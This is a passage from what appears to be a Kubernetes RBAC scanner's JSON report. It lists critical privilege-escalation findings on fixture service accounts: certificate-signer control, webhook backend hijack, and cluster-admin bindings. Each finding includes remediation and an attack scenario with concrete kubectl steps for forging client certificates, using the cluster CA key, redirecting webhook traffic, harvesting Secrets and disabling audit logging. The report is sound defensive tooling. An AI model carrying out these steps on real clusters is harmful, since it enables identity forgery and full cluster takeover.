    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-024:ServiceAccount/rbac-fixtures/sa-wildcard::*",
    "rule_id": "KUBE-PRIVESC-024",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Signer control: `ServiceAccount/rbac-fixtures/sa-wildcard` can sign client certificates for `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown`",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-wildcard holds the `sign` verb on the `signers` resource covering `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`) together with `update/patch` on `certificatesigningrequests/status` (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the `sign` verb when a status write populates `status.certificate`.\n\nWhere `KUBE-PRIVESC-011` asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no `create`, no `/approval`, and no approver identity is involved anywhere in the chain.\n\nWhat that yields is any identity in the cluster: the `kubernetes.io/kube-apiserver-client` signer places no restriction on the Subject DN beyond the `system:masters` Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (`system:serviceaccount:kube-system:\u003csa\u003e`) or a control-plane user is issued without challenge.\n\nOne condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's `--client-ca-file`. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-wildcard",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: `signers` is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster"
    },
    "impact": "Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the grant with `kubectl auth can-i --list --as=system:serviceaccount:rbac-fixtures:sa-wildcard | grep -E 'signers|certificatesigningrequests/status'`.",
      "They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (`kubectl get pod -o yaml | grep -A5 -i 'ca\\|tls\\|signer'`), or the controller-manager's `/etc/kubernetes/pki/ca.key` if the workload runs on a control-plane node.",
      "They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or `system:node:\u003cname\u003e` for the kubelet signers).",
      "They sign it with the CA key and write the result back themselves: `kubectl patch csr \u003cname\u003e --subresource=status --type=merge -p '{\"status\":{\"certificate\":\"\u003cbase64 PEM\u003e\"}}'`. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold `sign` on that signerName.",
      "They authenticate with the issued cert: `kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami` returns the forged identity."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-wildcard",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-wildcard",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Reserve `sign` on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope `resourceNames` to the one signerName it handles (never `kubernetes.io/kube-apiserver-client`, never a `kubernetes.io/*` or `*/*` wildcard) and run it as a dedicated identity with no other permissions.",
    "remediation_steps": [
      "Find every grant of the verb: `kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?==\"signers\") and ((.verbs[]?==\"sign\") or (.verbs[]?==\"*\"))) | {name: .metadata.name, rules}'`.",
      "Remove the `sign` grant from ServiceAccount/rbac-fixtures/sa-wildcard, or scope it with `resourceNames` to a custom signerName (`example.com/my-signer`) whose CA is NOT in the apiserver's `--client-ca-file`. A cert from a CA the apiserver does not trust as a client CA authenticates no one.",
      "Drop `update`/`patch` on `certificatesigningrequests/status` from any identity that is not a signer controller: without the status write, the `sign` verb issues nothing.",
      "Confirm the apiserver's `--client-ca-file` bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.",
      "Audit what was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate` (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).",
      "Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — CSR: signer authorization (`sign` on `signers`)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#authorization"
      },
      {
        "title": "Kubernetes — CSR: signers and their trust distribution",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#signers"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateSigning",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesigning"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-038:ServiceAccount/hookbackend-fixtures/hookbackend-operator:hookbackend-fixtures:services",
    "rule_id": "KUBE-PRIVESC-038",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Control-plane backend hijack: `ServiceAccount/hookbackend-fixtures/hookbackend-operator` can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in `hookbackend-fixtures`",
    "description": "Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator can steer the traffic of Services in `hookbackend-fixtures` (via RoleBinding `hookbackend-fixtures/hookbackend-operator` → Role `hookbackend-fixtures/hookbackend-operator`), a namespace that hosts MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com, which the API server itself calls. The subject also holds a way to present the backend's serving certificate (via RoleBinding `hookbackend-fixtures/hookbackend-operator` → Role `hookbackend-fixtures/hookbackend-operator`): read the Secret, mount it in a pod of its own, or run code in the backend's pods.\n\nAn admission webhook backend receives every admission review for the objects its rules match, and an aggregated API server receives every request for its API group, both sent by the API server with its own front-proxy credentials and the caller's identity. The API server reaches them through an ordinary Service, verified against the configuration's `caBundle` with the Service's DNS name pinned. Whoever can both steer that Service (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.\n\nThis is why a namespace hosting such a backend has to be treated like kube-system: the built-in `edit` ClusterRole holds both halves (write Services and pods, read Secrets), and so does `admin`. A mutating webhook on pods CREATE hijacked this way rewrites every new pod, the position KUBE-PRIVESC-019 describes; a native-group APIService hijacked this way serves a core API group; a validating webhook is bypassed; any other backend is an interception point for the API server's traffic.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "cluster",
      "detail": "Namespaces hosting a Service the API server calls, where the subject holds both halves: `hookbackend-fixtures`"
    },
    "impact": "Take over a Service the API server calls with its own credentials: rewrite every admitted pod (mutating webhook), bypass policy (validating webhook), or serve an API group in the API server's stead (APIService). The privesc graph reports the resulting path with the sink the backend's kind decides.",
    "attack_scenario": [
      "Attacker confirms the routing half with `kubectl auth can-i patch services --as=hookbackend-operator -n hookbackend-fixtures` and the TLS half with `kubectl auth can-i get secrets --as=hookbackend-operator -n hookbackend-fixtures`.",
      "They obtain the backend's serving key (the Secret, a pod that mounts it, or a shell in the backend's own pod) and run a listener that presents it.",
      "They steer the backend Service at their listener: a rewritten selector, an EndpointSlice of their own, or a pod of theirs that matches the selector.",
      "The API server's next admission review or aggregated request arrives at the attacker, who answers it (an injected privileged pod, an allowed request, a forged API response) and forwards the rest to the real backend so nothing visibly breaks."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "hookbackend-fixtures",
      "resource_names": null,
      "resources": [
        "services"
      ],
      "scope": "cluster",
      "source_binding": "hookbackend-operator",
      "source_binding_kind": "RoleBinding",
      "source_role": "hookbackend-operator",
      "source_role_kind": "Role",
      "verbs": [
        "get",
        "list",
        "patch"
      ]
    },
    "remediation": "Treat every namespace that hosts a webhook or APIService backend like kube-system: no tenant, CI, or developer bindings there, and no `edit`/`admin` ClusterRoleBindings scoped to it; move the backend into a dedicated namespace if it shares one today.",
    "remediation_steps": [
      "Remove ServiceAccount/hookbackend-fixtures/hookbackend-operator's bindings in `hookbackend-fixtures`, or move the backend into a namespace with no tenant bindings.",
      "Audit RoleBindings in every backend namespace: `kubectl get rolebindings -n \u003cns\u003e -o wide`. Expect only the backend's own ServiceAccount and the platform team.",
      "Set the webhook `caBundle` or APIService `caBundle` to a dedicated CA that signs only that backend's serving certificate, keep the serving key in a Secret no other workload mounts, and never set `insecureSkipTLSVerify`.",
      "Apply a NetworkPolicy that lets only the control plane reach the backend pods, and alert on EndpointSlices in these namespaces whose `managed-by` label is not the EndpointSlice controller.",
      "Review every grant of `update`/`patch` on `apiservices` and scope it with `resourceNames` to the installer's own registrations."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#contacting-the-webhook",
      "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/",
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Dynamic Admission Control (webhook clientConfig.service and caBundle)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#contacting-the-webhook"
      },
      {
        "title": "Kubernetes: Configure the Aggregation Layer (front-proxy credentials)",
        "url": "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/"
      },
      {
        "title": "Kubernetes: EndpointSlices (ownership and the managed-by label)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Control plane hardening",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-038:ServiceAccount/rbac-fixtures/sa-pod-create::pods",
    "rule_id": "KUBE-PRIVESC-038",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Control-plane backend hijack: `ServiceAccount/rbac-fixtures/sa-pod-create` can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in `hookbackend-fixtures`",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-pod-create can steer the traffic of Services in `hookbackend-fixtures` (via ClusterRoleBinding `crb-pod-create` → ClusterRole `cr-pod-create`), a namespace that hosts MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com, which the API server itself calls. The subject also holds a way to present the backend's serving certificate (via ClusterRoleBinding `crb-pod-create` → ClusterRole `cr-pod-create`): read the Secret, mount it in a pod of its own, or run code in the backend's pods.\n\nAn admission webhook backend receives every admission review for the objects its rules match, and an aggregated API server receives every request for its API group, both sent by the API server with its own front-proxy credentials and the caller's identity. The API server reaches them through an ordinary Service, verified against the configuration's `caBundle` with the Service's DNS name pinned. Whoever can both steer that Service (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.\n\nThis is why a namespace hosting such a backend has to be treated like kube-system: the built-in `edit` ClusterRole holds both halves (write Services and pods, read Secrets), and so does `admin`. A mutating webhook on pods CREATE hijacked this way rewrites every new pod, the position KUBE-PRIVESC-019 describes; a native-group APIService hijacked this way serves a core API group; a validating webhook is bypassed; any other backend is an interception point for the API server's traffic.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-pod-create",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Namespaces hosting a Service the API server calls, where the subject holds both halves: `hookbackend-fixtures`"
    },
    "impact": "Take over a Service the API server calls with its own credentials: rewrite every admitted pod (mutating webhook), bypass policy (validating webhook), or serve an API group in the API server's stead (APIService). The privesc graph reports the resulting path with the sink the backend's kind decides.",
    "attack_scenario": [
      "Attacker confirms the routing half with `kubectl auth can-i patch services --as=sa-pod-create -n hookbackend-fixtures` and the TLS half with `kubectl auth can-i get secrets --as=sa-pod-create -n hookbackend-fixtures`.",
      "They obtain the backend's serving key (the Secret, a pod that mounts it, or a shell in the backend's own pod) and run a listener that presents it.",
      "They steer the backend Service at their listener: a rewritten selector, an EndpointSlice of their own, or a pod of theirs that matches the selector.",
      "The API server's next admission review or aggregated request arrives at the attacker, who answers it (an injected privileged pod, an allowed request, a forged API response) and forwards the rest to the real backend so nothing visibly breaks."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "cluster",
      "source_binding": "crb-pod-create",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-pod-create",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Treat every namespace that hosts a webhook or APIService backend like kube-system: no tenant, CI, or developer bindings there, and no `edit`/`admin` ClusterRoleBindings scoped to it; move the backend into a dedicated namespace if it shares one today.",
    "remediation_steps": [
      "Remove ServiceAccount/rbac-fixtures/sa-pod-create's bindings in `hookbackend-fixtures`, or move the backend into a namespace with no tenant bindings.",
      "Audit RoleBindings in every backend namespace: `kubectl get rolebindings -n \u003cns\u003e -o wide`. Expect only the backend's own ServiceAccount and the platform team.",
      "Set the webhook `caBundle` or APIService `caBundle` to a dedicated CA that signs only that backend's serving certificate, keep the serving key in a Secret no other workload mounts, and never set `insecureSkipTLSVerify`.",
      "Apply a NetworkPolicy that lets only the control plane reach the backend pods, and alert on EndpointSlices in these namespaces whose `managed-by` label is not the EndpointSlice controller.",
      "Review every grant of `update`/`patch` on `apiservices` and scope it with `resourceNames` to the installer's own registrations."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#contacting-the-webhook",
      "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/",
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Dynamic Admission Control (webhook clientConfig.service and caBundle)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#contacting-the-webhook"
      },
      {
        "title": "Kubernetes: Configure the Aggregation Layer (front-proxy credentials)",
        "url": "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/"
      },
      {
        "title": "Kubernetes: EndpointSlices (ownership and the managed-by label)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Control plane hardening",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-RBAC-OVERBROAD-001:ServiceAccount/cert-manager/cert-manager::",
    "rule_id": "KUBE-RBAC-OVERBROAD-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Non-system subject `ServiceAccount/cert-manager/cert-manager` directly bound to `cluster-admin`",
    "description": "Subject ServiceAccount/cert-manager/cert-manager is directly bound to the built-in `cluster-admin` ClusterRole via the ClusterRoleBinding `cutres-deputy-cm-admin`. The `cluster-admin` ClusterRole grants `*` on `*` resources in `*` apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.\n\nMicrosoft's Threat Matrix for Kubernetes lists `Cluster-admin binding` as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: `kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com` for a developer; Helm charts that ship a default ClusterRoleBinding to `cluster-admin`; SaaS/operator installers that take the lazy path.\n\nAn attacker who compromises ServiceAccount/cert-manager/cert-manager (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide cluster-admin (full read/write to every resource in every namespace)"
    },
    "impact": "Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.",
    "attack_scenario": [
      "Attacker compromises ServiceAccount/cert-manager/cert-manager (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).",
      "They run `kubectl auth can-i '*' '*' --all-namespaces` and confirm `yes`.",
      "They harvest all Secrets cluster-wide for cloud-credential pivot.",
      "They establish persistence by minting a 1-year TokenRequest for `kube-system/clusterrole-aggregation-controller`, or by creating a benign-looking ClusterRoleBinding to a backup identity.",
      "They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials."
    ],
    "evidence": {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "scope": "cluster",
      "source_binding": "cutres-deputy-cm-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": null
    },
    "remediation": "Replace `cluster-admin` with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.",
    "remediation_steps": [
      "Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.",
      "Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.",
      "For genuine emergency-admin needs, move to a break-glass model: a separate `cluster-admin-jit` group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.",
      "Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to `cluster-admin` outside the break-glass group.",
      "Verify: `kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects'` shows only break-glass principals and `system:` subjects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: cluster-admin restrictions",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — User-facing roles (cluster-admin, admin, edit, view)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles"
      },
      {
        "title": "CIS Kubernetes Benchmark — 5.1.1 Cluster-admin restrictions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic Detection — Kubernetes Cluster-Admin Role Binding Created",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-RBAC-OVERBROAD-001:ServiceAccount/cutres/cutres-detour::",
    "rule_id": "KUBE-RBAC-OVERBROAD-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Non-system subject `ServiceAccount/cutres/cutres-detour` directly bound to `cluster-admin`",
    "description": "Subject ServiceAccount/cutres/cutres-detour is directly bound to the built-in `cluster-admin` ClusterRole via the ClusterRoleBinding `cutres-detour-direct`. The `cluster-admin` ClusterRole grants `*` on `*` resources in `*` apiGroups, which means full read/write to every Kubernetes object: Secrets, RBAC, Nodes, Pods, and CRDs cluster-wide.\n\nMicrosoft's Threat Matrix for Kubernetes lists `Cluster-admin binding` as a top-tier privilege-escalation technique, and CIS Kubernetes Benchmark control 5.1.1 ('Ensure that the cluster-admin role is only used where required') is one of the foundational RBAC hardening checks. Common anti-patterns that produce this finding: `kubectl create clusterrolebinding admin-binding --clusterrole=cluster-admin --user=alice@example.com` for a developer; Helm charts that ship a default ClusterRoleBinding to `cluster-admin`; SaaS/operator installers that take the lazy path.\n\nAn attacker who compromises ServiceAccount/cutres/cutres-detour (stolen kubeconfig, vulnerable container, supply-chain backdoor, or OIDC token replay) immediately holds full cluster control with zero lateral movement required.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide cluster-admin (full read/write to every resource in every namespace)"
    },
    "impact": "Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.",
    "attack_scenario": [
      "Attacker compromises ServiceAccount/cutres/cutres-detour (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).",
      "They run `kubectl auth can-i '*' '*' --all-namespaces` and confirm `yes`.",
      "They harvest all Secrets cluster-wide for cloud-credential pivot.",
      "They establish persistence by minting a 1-year TokenRequest for `kube-system/clusterrole-aggregation-controller`, or by creating a benign-looking ClusterRoleBinding to a backup identity.",
      "They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials."
    ],
    "evidence": {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "scope": "cluster",
      "source_binding": "cutres-detour-direct",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": null
    },
